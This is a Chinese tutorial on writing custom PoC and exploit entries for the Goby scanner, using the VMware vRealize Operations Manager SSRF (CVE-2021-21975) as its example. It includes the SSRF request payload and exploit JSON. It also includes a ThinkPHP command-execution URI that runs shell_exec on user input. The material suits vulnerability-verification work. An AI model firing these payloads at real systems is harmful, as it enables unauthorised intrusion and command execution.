前言
goby是一款攻击面分析工具,同时拥有资产扫描、资产识别和漏洞扫描能力,安装简单,直接解压即可使用,界面也非常友好,内置了大量由官方和其他网络安全从业者提供的poc。
官网:https://gobies.org/
帮助goby提交poc积攒到一定数量可以获取功能更强大的hvv红队专版,本文以CVE-2021-21975 VMware vRealize Operations Manager SSRF为例记录一下goby-poc的编写过程。
准备工作
1.去poc群获取最新版本goby
2.在已有poc列表中确认自己要写的poc和别人没有重复
编写流程
poc
打开最新版goby,点击Vulnerability页面中的PoC Management
点击右上角的+POC新增POC
本界面主要要填写漏洞的基本信息以及检测条件。
基本信息包括漏洞名称、威胁等级、漏洞类型、描述、影响、作者、产品地址等,一般我们写漏洞预警或者提交其他漏洞的时候都对这些很熟悉了,就不在赘述了,根据官方文档中的规范来填写即可。
比较需要注意的一点是检测条件,它代表着goby识别到某种资产,才会使用此poc进行验证,所以要根据右边问号的提示尽量的精确识别出资产,才能保证poc在使用的时候确实被触发。
填写完之后点击test选项卡,填写漏洞探测相关的参数,如果有多个请求可以点击加号新增,可以根据实际情况选择and和or条件
在每一个请求中,Request中需要填写请求类型、url路径、header、以及Post Data。
根据漏洞本身探测的报文,按照下图格式填写就行
如VMware vRealize Operations Manager SSRF的探测
需要往/casa/nodes/thumbprints路径post一条json数据,json数据中使用其本机443端口的ui页面作为探测目标,即填写[“127.0.0.1:443/ui”]
Response中需要填写判断漏洞存在的条件,如http响应状态、http头、Body中包含的关键文本等都可以作为判断依据。
在本例中需要同时满足http响应状态为200,且响应body中包含vRealize Operations Manager关键字,则如下填写
随后就可以保存并使用右上角的单ip探测功能尝试自己的poc是否有效(目前不支持https,如果遇到https的情况,可以将其先保存,然后在PoC Management界面导入此poc,然后直接扫描存在此漏洞的站点对poc进行测试)
此时poc的部分完成了,可以在PoC Management 中import进来,然后测试一下是否可以检测出漏洞
exp
goby还有Verify功能,我们需要增加exp部分才可以在扫描到漏洞之后直接用goby验证,但是这部分没法在gui编写,所以需要了解以下格式。
"HasExp": true // 是否录入 Exp,如有 Exp,Goby 在扫描到漏洞后会展现出 verify 按钮用以执行 Exp 验证漏洞
"ExpParams": [ // 前端需要传递给 Exp 的参数,如要执行的命令
{
"name": "cmd", // 参数的名称
"type": "input", // 参数输入类型,input 表示需要用户输入,select 表示 Exp 可以提供默认列表让用户进行选择输入内容
"value": "whoami" // 参数的值
}
]
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]={{{cmd}}}", // 通过 {{{参数名称}}} 引用前端传递过来的值
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"SetVariable": ["output|lastbody"] // 将响应的 HTTP Body 打印出来,展示命令执行效果
}
]
在本例ssrf中,我们需要修改post数据中的ip:port/url部分,所以做如下更改
"HasExp": true,
"ExpParams": [
{
"name": "url",
"type": "input",
"value": "127.0.0.1:443/ui"
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/casa/nodes/thumbprints,
"follow_redirect": true,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "["{{{url}}}"]"
},
"SetVariable": ["output|lastbody"]
}
],
我们可以将Editor选项卡中对应的项替换修改,也可以打开goby解压目录的golibexploitsuser寻找刚才保存的文件进行修改,保存之后就可以使用了
使用对方本地测试
使用dnslog测试
参考资料
goby官方的poc教程 https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
作者:Leticia's Blog ,详情点击阅读原文。
本文始发于微信公众号(乌雲安全):goby编写自定义poc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论